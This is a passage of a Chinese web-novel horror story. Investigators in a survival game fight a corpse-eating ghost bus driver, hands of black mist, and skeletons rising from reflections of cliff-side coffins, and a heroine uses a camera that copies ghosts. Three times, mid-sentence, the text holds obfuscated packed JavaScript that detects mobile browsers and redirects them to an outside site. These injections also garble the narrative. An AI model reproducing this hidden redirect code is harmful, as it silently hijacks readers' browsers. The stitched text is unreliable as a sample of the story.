然而,他刚离开座位还没走两步,就收获了司机冰冷的警告: “不想死,就乖乖留在车上。” “你是要我们别下去?那你总得给我们一个说法吧……”黄毛考察员瞥了司机一眼,下意识怼道。 然而,目光刚瞥到司机脸上,他两腿一下子就软了。 司机还是那副憨厚老实的面相,皮肤却不知何时变得惨白。半透明的脸皮下,浮现出纵.横交错的绿色静脉网,像所有高度腐败的尸体一样。看得那黄毛争着出风头的气性,一下子灭了大半。 黄毛考察员的视线哆嗦地下移,又看到了司机的手。 顿时,他魂飞魄散。 被司机拿在手上大吃大嚼的,哪里是卤鸭掌啊!分明是一只腐烂的人手! 那只人手早就腐败得掉了指甲,上面绿斑遍布,司机却混不在乎。他活像吃零嘴一样,“咯吱咯吱”地咬折了那些手指,大块朵颐。沾着血水的皮肉渣子,随着他嘴.巴的张合,窸窸窣窣掉了一地。 他们刚到车上时,司机明明还是个大活人,如今竟悄无声息地被鬼取代了。 【第一个任务已触发。】 【任务1:解除车上存在的威胁,并乘坐旅游大巴到达目的地。】 这个任务明显分为两个部分,既需要他们除鬼,又需要他们乘车抵达终点。比起后者,前者明显更加紧急。 此鬼不怕阳光,比一般鬼更难对付。更何况比起被杀,鬼似乎更想吃了他们。 “鬼,是鬼……” 料想车门肯定已被司机锁住,那黄毛拔腿往大巴车更深处跑。 然而车内过道狭窄难行,铺在地上的劣质地毯又破破烂烂,窟窿一堆。没跑几步,黄毛便被地毯堆积出的褶皱绊倒,结结实实地摔了一跤。 他身后,高大魁梧的司机扔掉了才啃到一半的人手,垂涎三尺地向黄毛迫近。 人肉嘛,腐烂后口感差些。 要新鲜的才好吃。 待到黄毛慌里慌张地从地上爬起时,再从背包中调用道具已经来不及了。眼看黄毛即将落入鬼腹,一缕凉风忽地从他耳边掠过。 紧接着,长风凝作利刃,从司机头顶唰然砍下,干脆利落地将他整个鬼从头到脚劈成两半。 这一缕风,就是顾斩风善用的风刃。 而且是最基础版。 顾斩风的风刃威力惊人。仅仅这一风刃下去,鬼司机还没来得及发动攻击,就已消散得彻彻底底。 而顾斩风只是抬了下手指头。 “顾大佬,要不是你救我,我这条小命今天怕是不保了……”黄毛劫后余生,感激不已地膝行到顾斩风跟前,恨不得把鼻涕眼泪全抹在顾斩风鞋子上。 顾斩风嫌弃,起身。 秒退两米。 齐檎丹没忍住笑出了声。她了解顾斩风,知道顾斩风不仅抗拒和他人接触,还严重洁癖。 顾斩风的这两个雷点,黄毛算是踩全了。 饶是齐檎丹已经努力压低笑声,却还是刺激到了黄毛脆弱的玻璃心。一看到齐檎丹身上的相机,黄毛立刻恶声恶气地讥讽:“只会拍照,果然是废物一个。” “你说谁废物呢!”苏意虹听不得朋友被骂,立刻开口想跟他吵,被齐檎丹拦了下来。 “当务之急,是尽快赶去古村。” 顾斩风沉声道:“但现在司机已死,我们需要一个能驾驶大巴车的人。” 由于19座以上的大巴车,对驾驶技术有着特殊的要求,会开车的人多,会开大巴车的人却少。幸好这个副本的考察员里,还真有一个考下这类驾驶证的。 持有大巴车驾驶证的那个考察员,自信满满地站起来,走到驾驶座上。 刚坐下,他就傻了眼: “这车我没法开!从方向盘到手刹,全是纸糊的!” 不止司机被鬼调包了,旅游大巴也被掉包了。这辆大巴,根本就不是给活人开的,只有鬼能开得了。 可这荒郊野岭的,他们该去哪里找一个能开旅游大巴的鬼? 怎么办?难道要卡死在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890694|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一关吗? 车内一片愁云惨淡。 然而,一波未平一波又起,还没等车内的考察员们从郁闷中恢复过来,天色便以肉眼可见的速度暗了下来。车窗外风声忽紧,呜呜咽咽宛如哀哭。 齐檎丹打开手机看了眼时间,登时面色凝重。 不,不是天色暗了。 现在还远远不到太阳落山的时候,可外面却黑比深夜。 ——本该照到车内的阳光,被外物挡住了。 说时迟那时快,一团大得可怖的黑雾迎面袭来,转瞬间将整辆大巴车吞噬。这团“黑雾”内部,竟是由密密麻麻的黑色.鬼手构成。只一霎,数不清多少只鬼手攀上车身,猛力抓挠、摇撼,俨然将车内众人视为猎物。 即便不幸落网的旅游大巴足有22座,在车辆里也算得上庞然大物,在这团“黑雾”中却如同幼儿玩具般不堪一击。 无数处破坏在同一时间发生。 铁皮车身被砸得凹陷,后视镜被折断掰碎……整辆大巴车更是晃动不止,随时可能侧翻。 最危险的,还要数车窗玻璃。 那些鬼手上利爪如刀,一划下去,脆弱的车窗上,便多出五道深深的裂缝。 尤其是齐檎丹和苏意虹那边的车窗玻璃,本就遍体鳞伤,难堪重负,鬼手一记猛击,竟直接打穿玻璃,掏进车内,吓得苏意虹失声尖叫。 不能再这样下去了。这玻璃撑不了多久。 一旦玻璃彻底破碎,鬼手就会倾巢而入。他们迟早沦为鬼手的盘中餐。 顾斩风眉头紧拧:“现在最可行的办法是找到司机,冲出黑雾。”旅游大巴如果继续停在这里,他们只能坐以待毙。 但是他们上哪儿去找鬼司机? 山路本就难开,更何况现在还有黑雾阻碍视线,路面的能见度极低,就算找到能开大巴车的鬼,那个鬼也得车技非常好才行。 要是找不到符合的鬼司机,他们就只能弃车而逃。而这一计,意味着他们要以血肉之躯直面鬼手。 是绝对的下下之策。 “我有司机。”齐檎丹用积分兑换了一把小刀,一把将掏进车窗里的鬼手剁了下来。 听到齐檎丹这么说,黄毛就像听见了这世上最荒谬的笑话。他捧腹嘲笑,用词讥诮:“哈哈哈哈哈就凭你?难道要靠你那个破烂相机驾驶吗?” 此话一出,齐檎丹的俏脸立刻冷了下来。 骂她可以,骂她的相机不行。 “是啊,全靠这个破、烂相机。”齐檎丹扯起嘴角,阴阳怪气地棒读了“破烂”二字。 齐檎丹拿出她在黄毛摔倒时,趁机用“照鬼相机”拍到的司机照片,选择了立刻使用。照片脱手而出的刹那,鬼司机重新出现在车厢之内。 升到2级后的“照鬼相机”技能,齐檎丹之前还没发现什么大的区别,只觉得相机拿在手里时,确实轻了许多。然而,现在一使用照片道具她才发现,这回复制出的鬼怪,看起来似乎更加唬人了一些。 鬼司机两腿一抻,站定在黄毛面前。嘴里,津津有味地嚼着那只腐烂的人手。 他高大且非人的身影,如同一座山。 恐惧的阴影笼罩住了黄毛。 “鬼!有鬼!” 黄毛被吓得双.腿发软,肝胆俱裂,当即在地上摔了个屁股墩:“这个鬼司机不是……不是被顾大佬杀死了吗?怎么又回来了?” “是啊,顾斩风是把司机杀死了。所以,这是我复刻出来的新司机。”齐檎丹坦然道: “和原来的鬼司机一样,但听我指令。” 是鬼,会开车。 满足驾驶大巴的条件。 而且指哪儿打哪儿,非常听话,堪称带他们冲破黑雾封锁的最佳司机。 齐檎丹勾勾手指,居高临下地俯视着地上惊魂未定的黄毛,挑眉微笑:“来,现在回答我——我的相机还破烂吗?我,还废物吗?” 25. 峭壁悬棺3 齐檎丹这一招,自然没人能说出半个不字,全车人都等着这个鬼司机来开车呢。 黄毛当着众人的面出尽洋相,表情像吃了活苍蝇一样难看。他梗着脖子,硬是没将道歉说出口。 然而,这局势如同将他架在火上烤。 来自其他人的每一道目光,都像是一把剔骨尖刀,刀刀割在黄毛身上。尤其是顾斩风的。 黄毛当初之所以抢着非要下车查看,就是为了在顾斩风面前展现自己的价值。没曾想,他绞尽脑汁,却被一个新人搅了局——没能让顾斩风另眼相看,他的脸面倒是丢尽了。 他恨得牙根痒痒。 齐檎丹这个名字,黄毛在新人排行榜上见过,听说她第一个副本就上了新人榜,备受关注。 但那又怎么样?新人毕竟是新人。 在副本里,姜还是老的辣,不自量力的新人迟早被玩死。 系统不允许考察员们自相残杀,但只要做成鬼怪害人,系统就无法追究。黄毛不止一次这么干过,次次成功,那些阻拦了他道路的人,就这么一个个下了地狱…… 接下来,该轮到这个齐檎丹了。 黄毛的视线阴毒得太过明显,齐檎丹皱了皱眉,操控司机鬼坐回到驾驶座前。之前在上一个副本里,因为众新娘鬼和新娘鬼穆青青本性善良,又跟齐檎丹有着同样的仇恨对象,齐檎丹并没有对她们实施控制。 而现如今这个鬼司机喜好食人,齐檎丹便时刻注意着,把复刻出的司机牢牢掌控。 “砰砰砰——” 转眼间,车身又接连凹陷下去几块。 旅游大巴的车身活像个铁皮罐头,在两边的同时挤压下,变形得愈发严重,车内空间越来越狭小。将大巴车摧残至此的鬼手却愈发振奋,攻击一波猛过一波。 连坚固的车身都不放过了,这些鬼手又怎么会放过易碎的玻璃? 齐檎丹即刻回身:“小心玻璃!” 但她提示得太迟了。 “咔嚓——” 被捅出的大洞的车窗,混乱中又被来了一下。清脆的碎裂声顿时响起,裂纹呈辐射状迅速扩散,密密麻麻,堪比蛛网。 惨了!玻璃要碎了! 苏意虹拿仅有的积分,从系统商城里购买了道具万能胶水,试图填补裂开的缝隙,却发现此举只能暂时奏效:“这个玻璃,最多只能再撑半分钟。” 顾斩风:“我们必须走了。” 齐檎丹凝下心神,对鬼司机发号施令:“发动车辆!” 在鬼司机面前,纸糊的驾驶工具变得合心趁手。鬼司机转动车轮,启动旅游大巴的引擎,挂挡、踩油门一气呵成。沉睡已久的旅游大巴,再一次恢复运转。考察员们脚下的地面轰然震动。 车轮转动起来,飞驰往前。速度越冲越快。一批批毫无防备的鬼手,被拍在挡风玻璃上,顷刻间成了一滩烂泥。 但这还不够。远远不够。 “提速!再提速!!”齐檎丹发出指令。 司机一脚油门踩到最深,引擎发出震天的咆哮。旅游大巴化作钢铁巨兽,狠狠向黑雾中心扑去。 黑雾最深处,也是鬼手最多处。无数只枯瘦扭曲的鬼手交错扭拧,聚集成黑压压的一片,虎视眈眈地守候在前,直叫人胆寒心惊。但事情至此,他们早已经没有退路…… 他们必须闯过去,也只能闯过去。 齐檎丹昂首直视着挡风玻璃外的强敌,下达了最后一个命令: “冲过去!!!” 大巴车以最快的车速,一头撞进黑雾核心。 那一瞬间,巨大的冲击力骤然袭来,最坚固厚实的挡风玻璃也迅速开裂,车内的一切东倒西歪。强烈的失重感下,齐檎丹几乎被甩飞,她不得不竭力抓紧两边的座椅椅背,才勉强稳住身形。 旅游大巴像是陷进了某种胶质,黑暗浓稠得让人喘不过气。 艰难前行的每一秒,都仿佛被开了慢速。 漫长得如同凌迟。 伸手不见五指的环境下,山路的危险被无限放大,全靠司机鬼凭借着对山路的熟悉程度在强撑。稍有差池,就会连人带车一起坠下悬崖,摔得车毁人亡。 这么提心吊胆地又开了好一段路,眼前的黑暗才终于散去,清朗的阳光洒进窗内,照得满地的玻璃碎片熠熠生辉。 考察员们悬着一颗心,向前望去。 前方不见鬼手,不见黑雾,只有一条山路蜿蜒盘旋。 他们闯出来了! 绷紧的心弦终于放松下来,考察员们不约而同地松了口气,油然而生一股死里逃生的庆幸。 之前还被嫌弃过分闷热的阳光,现在仿佛成了恩赐。晒了几分钟后,齐檎丹才感觉身上那股有如附骨之疽的阴冷感,开始缓缓散去。齐檎丹舒展开眉心,从车前的挡风玻璃上挪开视线。 怎料一转头,她的目光却冷不丁撞进顾斩风冷冽的眼眸。 齐檎丹骤然愣住。 刚才的环境太暗太混乱,直到此时齐檎丹才发现,她和顾斩风竟离得这么近。 这样短的距离,近得让人心神难安,却也给了齐檎丹近距离注视顾斩风的机会。考察员的个人面板上没有照片,因此这是齐檎丹五年之后,才第一次看清顾斩风的样子。 顾斩风的眉眼锋利得冷峻。他是典型的眉压眼长相,上扬的眼与眉毛的间距很近,眉骨高而眼窝深邃。 眼中寒霜逼人。 无形中给人以强烈的压迫感。 早在五年前,当齐檎丹隔着屏幕,在求生综艺里第一次见到这双眼时,就不由得想起了高原上终年不化的冻土,以及冰川最顶峰的刃脊…… 没有什么,比这些无生命的物体,更能形容顾斩风冷锐的气质。 在这一点上,他与先前并无太多不同。 一样的漠然冷淡。 然而,那长开的骨骼,锋利的下颌角,以及更加硬朗的面部轮廓……却无一不在提醒着齐檎丹,她记忆里的少年早已经褪去青涩。 他不再是齐檎丹熟悉的模样了。 长达五年的岁月与屏幕的阻隔,足以构成天堑。 陌生感倏然涌上脑海,回忆与现实天人交战。薄薄的一层电脑屏幕,最多不过几厘米,却划开了世上最远的距离。无法逾越,无法触碰。 齐檎丹忍不住想。或许,纵使她把那档求生综艺,来来回回翻看过数千百万遍,也从未真正地熟悉过顾斩风。 那档综艺,不过是一扇通往顾斩风生活的窗口。而她,不过是个卑劣的窥视者。 何谈认识?何谈熟悉? 即便被欺骗,为那死讯也为他担忧了许多年,齐檎丹也连愤怒的理由都难以立足。 齐檎丹舌根泛起酸涩,心中五味杂陈。想着既已闯出“黑雾”,鬼司机之后只需按照路线开即可,她不必过多留神指挥,齐檎丹很快回到苏意虹身边坐下,将头转向了车窗外。 齐檎丹有意转移心神。因此,她没能看见—— 旁边的苏意虹嘴唇微动,欲言又止。 齐檎丹和顾斩风是怎么站到一块儿的,齐檎丹不知道,坐在他俩身后的苏意虹却看得明白清楚。而且这件事,说起来还是顾斩风主动。 大抵是进副本得太突然,顾斩风穿着的研究员白大褂还没来得及换下。白衣服反光,在黑暗中最是分明。 苏意虹学化妆练就的眼睛,色感尤其敏锐。 这抹白色,逃不出苏意虹的法眼。 于是,苏意虹看到,在旅游大巴与众多鬼手相撞前,顾斩风先一步走到了齐檎丹身后,为的就是在齐檎丹失去平衡时,能够马上能将她扶住。 对此,齐檎丹一无所知。 苏意虹原本有意告诉,却因为齐檎丹身上散发的低气压,而找不到开口的时机,只得默默把话咽回肚里。 . 经此“黑雾”一劫,逃出生天的旅游大巴已成了战损版。车窗是破洞的,后视镜是断裂的,车身是凹陷的……就连轮胎也惨遭鬼手扎破,边开边漏气。 幸好,在彻底散架之前,旅游大巴光荣完成了它的使命。 旅游大巴靠边停稳,车门打开。 “下车。你们要去的地方到了。”司机鬼粗声粗气地催促。 好不容易结束了这次危险驾驶,被复刻出的司机鬼任务完成,着急下班。不等乘客下车,他就迫不及待地化作一缕青烟,消失不见,十分地缺乏服.务精神。 【恭喜完成第一个任务!奖励积分+5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895303|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0】 “才50积分?这么抠。”齐檎丹撇撇嘴,忍不住蛐蛐了系统一句。 她查看了一眼剧情解锁度,发现任务都已经完成一个了,剧情解锁度却丝毫没有动。要是解锁了剧情,不仅能够多拿些积分,还能增加她拍出好照片的概率,齐檎丹因而对此更为关心。 这次的剧情解锁怎么难了这么多?难道是因为他们还没到村里吗?齐檎丹暗自叹气。 然而一下车,齐檎丹立刻意识到—— 她的气叹太早了。 眼前没有路,更没有村庄。有的,只是一大片开阔的水域。 显然,旅游大巴所能到达的极限,并非他们要找的村子。要进村,他们必须换种交通方式,走水路。 这片水域的颜色极美。清澈见底的蓝绿色江水,映着碧空和两侧的青峰峡谷,令人观之心醉。然而正因如此,一众经验老道的考察员,才丝毫不敢放下戒备。他们深知,在这副本世界里,越美丽的景观往往越是危险。 “我们需要一艘船。”顾斩风道。 他话音未落,便见一叶扁舟自江上而来。 撑船的船夫苍老消瘦,脊背佝偻,过分宽大的斗笠和蓑衣遮住了身体和面目,使他看起来,像极了他身边那只邋遢的鱼鹰。 大抵是已经不做捕鱼的营生,老船夫船上养着鱼鹰,鱼篓里却没有鱼。待小船接近岸边,他便停了渔歌,吆喝道:“坐船吗?” “坐坐坐!”苏意虹兴奋地招手喊他。 老船夫的船不大,却正好能容他们所有人坐下。 待人都上齐之后,老船夫拿竹篙轻轻一撑,坐满人的船便在琉璃似的水面上滑开老远,滑进了峡谷间狭窄的水道。 船只越往峡谷深处行驶,底下的水道就越深。不过多时,原本通透漂亮的水面,已呈现出与墨色无异的诡异深绿。而那峡谷两侧峭壁也愈发险峻,上有万仞之高,下与水面垂直。 中间,只露出极细极窄的一线天空。 或许出于某种心理上的错觉,苏意虹恍惚之间,竟感觉那两旁的石壁正不断往中间挤.压,试图将他们碾成肉泥。 这个可怕的想法,让苏意虹逐渐有些喘不过气。窒息感的驱使下,她高高抬起头,向唯一有剩余空间的上方看去,希望缓解一点这种可怕的压抑。 殊不知,正是这抬头一望,让她几乎心脏停跳。 “抬头看!那是什么?” 苏意虹骤地拽住齐檎丹的袖子。 不看不知道,她们头顶之上的山崖,竟然布满了黑点。 密密层层,有如爬满了成百上千只蚂蚁,数量多得令人密集恐惧症发作。 那黑点全为方形,形状规整,大同小异。其中有的黑点,由于经历了过长时间的风吹日晒,已经上下分离。断裂之处,滚落出森森白骨——峭壁上的这些,哪里是黑点?俨然是一具具悬空的棺材。 两岸是山崖,更是与水平面垂直的坟地,上面摆满了悬棺。 他们这次要考察的,就是这些悬棺。 在苏意虹的高声提示下,齐檎丹举起相机,对准悬棺,一连拍了好几张照。船上的所有考察员也全都抬起了头,包括邱义、邱勇两兄弟。 这俩兄弟里,邱义是哥哥,邱勇是弟弟,两人从来是一起行动。就在邱义专注于观察悬棺的特征时,他听到了弟弟的声音:“哥,水里也有悬棺。” “别担心,不过是上面悬棺的倒影而已,用不着怕。”邱义头也没回。 他们要考察的对象是悬棺,所以邱义有理由估计,接下来的关卡都会与悬棺有关。多了解到一点悬棺,他们就多几分生机。好不容易逮到一个观察的机会,他才不愿意放过。 然而,今天的弟弟格外不听话。 都说了水里的悬棺用不着担心,弟弟邱勇却仍然不依不饶,越叫越急:“可是,那些倒影会……哥!!!” 终于,邱义从这句叫得破了音的“哥”中,察觉出了不对。 低头的那一霎,邱义瞳孔骤地缩小。 水中的悬棺的倒影里,遽然探出一只白骨嶙峋的骷髅手。 骷髅惨白的手骨破开水面,钻出水下,以迅雷不及掩耳之势,一把将他的弟弟邱勇拽了下去。 26. 峭壁悬棺4 【已触发任务:限时战】 【倒计时已开始。请在骷髅的攻击下,活过半个小时。】 站在船头划船的船夫突然消失,船只停在半道。系统冰冷的提示音与弟弟撕心裂肺的求救声,在邱义耳边一同响起。 “哥!救我啊,哥!!” 那只从水中伸.出的骷髅手,紧紧地攥住弟弟邱勇的脚脖子,往下猛力拉拽。邱勇大半个身子都被骷髅手拖下了水,抓住船尾的手指颤.抖发白,显然快要失去力气。 邱义来不及多想,立刻操起随身携带腰刀,砍向弟弟脚上的骷髅手臂。 刀光一闪,白骨应声而断。 弟弟邱勇重获自由,喜出望外。他刚扑腾着双脚,打算爬回船上,更多的骷髅手骨却悄然出现在了他的身后。 这些诡异的手骨被人肉的香气诱.惑而来,数量越来越多。隐匿在水面之下的一截截白骨,好似成群饥肠辘辘的银鱼,正贪.婪地往食物所在的地方聚集。 只不过,鱼吃的是鱼食。这些骷髅的饕餮盛宴,则是人。 “拉紧我的手,爬上来!”邱义喊道。 然而,就在兄弟俩的手即将握上的那一刻,数十只骷髅手一齐抓上了邱勇,有的扯手,有的扯脚,力量大得骇人。 邱勇猝不及防,被彻底地拖下水去,被摁着头溺了好几口水:“咕噜咕噜……救命,救我啊……” 【限时战倒计时:27:00】 “还愣着干嘛?救人啊!”有人大吼一句,船上的人方才如梦初醒。 遭到不幸的虽是邱勇,可船上的考察员们,没有一个能够独善其身。现在距离限时战结束,还有接近半个小时的时间,等邱勇耗尽力气,被水底骷髅吃干抹净,下一个就是船上的他们。 顾斩风在所有考察员中实力最强,且其风刃适合远攻,遇到这种情况,他义不容辞。 顾斩风使起风刃,向水中手骨斩去。 其他考察员也忙赶到船头,弯腰拾起因为船夫消失而被丢在一边的竹篙,递给哥哥邱义,让他拿长长的竹篙,去够跌入水中的弟弟。 “弟弟,抓住竹篙!快啊!”邱义向弟弟喊道。 一双双骨手被砍断、下沉,很快再生出同样多新的骨手。落水的邱勇没游几下,就被又拉了回去,连竹篙的边都没摸到。 同样的场景一再循环,仿佛永无尽头。 砍断手骨只治标不治本,他们必须想出其他的办法。 【限时战倒计时:15:00】 由于邱勇在无用的挣扎中,白白耗费了太多力气,他扑腾的动作明显出现了减缓,被旁边骷髅逮着机会,撕咬下一块皮肉。血腥味,顷刻间在江上弥漫开来,染红了水面。 而爬出悬棺倒影的骷髅数量,却从未有过减少。 杀不尽,死不绝。 在数量和顽强程度上,堪比蟑螂。 有好几次,那些从棺材里爬出来的骷髅,牙都快啃在邱勇身上了。再这么下去,邱勇必死无疑。 众考察员救人心切,要不是需要小心不能翻船,恨不得全都挤到船尾。有些太关注战况,不注意留心自己的,还差点成为第二个被骷髅薅下水去的倒霉蛋。 齐檎丹凝眉走出了人群:“那些被风刃砍断的手骨在哪里?” “大多沉下去了。”苏意虹伸长了胳膊,从水里捞起一条还没未下沉的断裂手骨:“但我捞了一根上来,你看看。” 这手骨白森森的吓人,苏意虹没敢在手上拿太久。 一捞起来,她立马往船上放。 这根骨头是手臂骨骼中的尺骨,骨骼粗壮,落地声沉闷。然而,才离水没多久,这根尺骨很快化作虚影。 “啊?这就消失了?”苏意虹忙上手去摸,摸了一把空。 齐檎丹却一喜:“果然!” “果然什么?”苏意虹一头雾水。 苏意虹想等她解释,可齐檎丹只伸手折了根顶上的树枝,往水里搅动了一下,眸中已愈发了然:“得嘞。我现在算是明白,为什么我们进入任务后,船夫要消失了。” “为什么啊?”苏意虹刚开口询问原因,就见齐檎丹转身向船尾走去。 啊?这就走啦? 苏意虹看着她的背影,傻了眼。 明明还没告诉她答案呢,不带这么吊人胃口的啊喂! . 苏意虹还真是错怪齐檎丹了。 齐檎丹其实没有要吊她胃口的意思,实在是船尾的状况太过紧急。她早一点过去救人,落水的邱勇就早一点能解脱。 与此同时,船尾的顾斩风也在实战当中,总结出了水中骷髅的特性。 “都停手。这样下去是没有结果的。” 顾斩风冷声制止乱成一锅粥的考察员们:“要救邱勇,必须从骷髅的两个特性上下手,彻底断绝这些骷髅的形成。骷髅依赖于两者存在。首先是水,骷髅没法离开水太久。其次……” “第二个我知道!”黄毛打断他的话,抢先回答:“它还离不开上面的悬棺,所以咱们下一步要把那些悬棺破坏掉,对吗?” 顾斩风禁不住皱起眉。不等他否认,已有人先一步开口反驳。 “错。而且大错特错。” 齐檎丹笑眯眯地从船头踱来,人未到而声先至:“想破坏上面这些悬棺,你爬得上去吗?爬一个看看实力?” 她双手抱胸,目光先从瘦不拉几的黄毛身上扫过,再瞟了一眼旁边高.耸入云的峭壁,最后摇摇头,“啧”了一声。没说一句激烈的话,嘲讽效果却直接拉满。 “你……”黄毛被她噎得说不出话,脸上红一阵白一阵,额角青筋突.起。 但他却没法辩驳。 因为,齐檎丹一个字都没说错,他确实爬不上陡峭的石壁。 黄毛表现不成,恼羞成怒。他恶声恶气地将问题抛给齐檎丹,有意看齐檎丹在众人面前出丑:“那你倒是说说,骷髅第二个依赖的东西是什么?” “是镜面反射的成立。”齐檎丹心里早有答案: “平静的水面就像一面镜子,能反射出悬棺的倒影。划船搅动水波的船夫在任务里消失了,是因为他破坏了成像条件。” 水中倒影,本质上是类似平面镜的水面所成的虚像,只是因为某些特殊原因,这里的悬棺虚影被暂时赋予了实体。棺中爬出的骷髅手被砍断后,断骨看似沉底,其实是被打散后重新成形。 倒影在,水里的悬棺和骷髅就在。即便打碎了悬棺和骷髅,它们也会重新凝聚,没法彻底杀死。 ——这才是骷髅数量不减,且无法离水的核心原因。 顾斩风略微颔首。 他想说的,和齐檎丹一模一样。 【限时战倒计时:11:00】 如今已经能够确定,要救人要同时满足两点:一是要没水,二是要没镜面反射。 但凡少了一项,都灭不掉这些骷髅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水下的骷髅不甘心到嘴的猎物溜之大吉,顿时集中火力,试图截断邱勇获救的可能。一时间,数十双骨手如枯枝般刺出水面,有的去拉扯邱勇,有的则狡诈地打起了折断竹竿的主意……令人眼花缭乱,难以招架。 顾斩风的技能虽然一次可以发射多道风刃,但两次技能中间,难免有间隔时长。一不小心,就可能让骷髅得手。 “快点。”顾斩风催促。 邱勇竭尽所能地伸长臂膊,控制身体往前,手指终于艰难抓住了竹篙的末端。 他哥哥邱义喜形于色,立刻拉住竹篙的另一头,把弟弟往安全的船上拽。而竹篙之下,那些风刃的漏网之鱼,正潜伏在水下蠢蠢欲动。 齐檎丹就在这时扔出了照片。 照片道具“古厝烈焰”足有SS级,威力惊人,齐檎丹却并未将其扔往挤满骷髅的水面。 她手腕一扭,调转方向,将之丢向了身侧的山石峭壁。 【限时战倒计时:5:00】 “轰——” 照片消失,烈焰狂涌。 曾经覆灭全村的烈火冲向崖壁,在火油的催化下肆意蔓延。点燃枯枝,烧红岩石,转瞬将峡谷里的“一线天”,焚烧成了一片炼狱火海。 竖直于平面的火海之上,吐出滚滚浓烟,蔽日遮天。 而这,才只是开始。 27. 峭壁悬棺5 火光盛极,齐檎丹眼里的星芒却比火更亮。 被照片复刻出的两个女鬼衣袂飞扬,迎着火光翩然起舞,操纵着阴风,将这焚天烈焰催发得愈加炽热。 高温烤裂了岩石,烤焦了土壤,石块土块在烈火中纷纷下坠,落入水中,惊起的千层巨浪震碎了悬棺倒影,更破坏了水下骷髅的成形。 小舟在浪涌中颠簸,邱义猛然加大了拽竹篙的力度,一把将弟弟拽回来一大截。 恨得水里的骷髅咬牙切齿。 被波浪打散的骷髅们,恼怒地透过水面,用那凹陷漆黑的眼窝瞪视着船上。只待一会儿风平浪静,它们便要窜上水面,将死里逃生的邱勇和船上那群人,通通抓下水底啃食。 直到这时,这些盘算着怎样继续抓人吞吃的骷髅们,显然还不知道—— 烈火焚烧造就的黑烟,正在峡谷上端迅速聚集扩散。蒸腾的烟气,在悬棺和水面之间,形成了一层越来越透不进光的厚重屏障。 好比盖顶乌云,遮得白昼如夜。 无光,且峭壁上方的悬棺又被遮蔽,悬棺倒影的形成,变得前所未有的困难。 这正是齐檎丹想要的。无倒影,则水中无棺材;无棺材,则爬不出害人的骷髅。就此,任务给他们出的难题,宣告破解,水中的骷髅与棺材都随着烟雾的变浓,而消失不见。 【限时战倒计时:3:00】 最后三分钟,兄弟中的哥哥邱义终于团结船上的人,把弟弟邱勇拉回了船上。邱义一头栽倒在甲板上,气喘吁吁:“答应哥,回去一定要减肥了,知道吗?” 邱勇自知理亏,刚迷迷糊糊地应下,限时战任务的倒计时就结束了。 【“限时战”任务已完成。奖励积分+50】 眼睛一闭再一睁,他们身旁的空间已悄然发生变换。 虽然依旧身在船上,水下的骷髅与崖壁上的烈火,却都消失不见。猿啼与鸟鸣自两岸山林间传出,船头站立的船夫哼着歌谣,慢悠悠地摇着竹篙,荡开层层叠浪, 猿啼声、鸟鸣声、水波声……万物生机盎然,同方才任务里的死气沉沉迥然不同。 听在耳里,婉转犹如天籁。 没见齐檎丹拿出相机,苏意虹奇怪地“咦”了一声:“刚刚的火海加骷髅好震撼啊,就跟真的炼狱一样。我还以为,你会拿相机拍照呢。” 她跟齐檎丹当了这么多年朋友,对齐檎丹爱拍照的印象,已经烙进骨子里了。 一会儿没见齐檎丹拍照,都觉着新奇。 “那些骷髅太丑了,太普通,连给我做道具都不配。”齐檎丹本想鄙视骷髅一眼,奈何骷髅早已消失,水面空空荡荡,没法给她一个鄙视的对象。 她齐檎丹虽然爱拍照,却也不是什么鸡零狗碎的鬼东西,都入得了她法眼的。 她有艺术追求。 齐檎丹耷拉着眼皮,兴致缺缺地望向峭壁上的悬棺。 不是说好了,副本世界里的鬼怪又强大又可怕吗?怎么这副本里面的鬼怪,就一个个长得那么普通?外貌间于死尸和活人之间的鬼司机,最起码有几分拍摄价值,水里那些乱七八糟的骷髅,长得还不如齐檎丹去拼夕夕上买的道具呢。 拜托,这好歹是困难级别的副本诶!老来这种低质量的鬼,她都快没有通关副本的动力了。 苏意虹被逗得“咯咯”直笑。 那些骷髅吃人吃了一辈子,只怕想不到有一天会这样被人评头论足。 偷摸着嘲笑完骷髅后,苏意虹总算得空,向齐檎丹问出了那个让她好奇已久的问题:“你刚才是怎么想到,骷髅是依赖光滑的水面成像的呀?” 齐檎丹解释道:“我能想到这一点,是因为发现骷髅在抓捕邱勇的过程中,骷髅的动作幅度虽大,出现的波浪却远远比正常情况下要小。顾斩风估计也一样,他站在最前头,看得比我更清楚。” 发现这一问题后,她赶到别处去找树枝试验,顾斩风则加强了观察。 因此,两人几乎同时得出答案。 “而且让我感觉奇怪的,还有一点。这种限时任务,船夫不仅帮不上我们的忙,还可能拖后腿,任务为什么要安排船夫消失呢?因为船夫消失了,无人划船,就不会在水面上制造出波浪。” 齐檎丹说道:“同样是为了减少波浪,除了船夫,另一个东西也消失了。” 苏意虹:“什么消失了?” 齐檎丹:“风。” 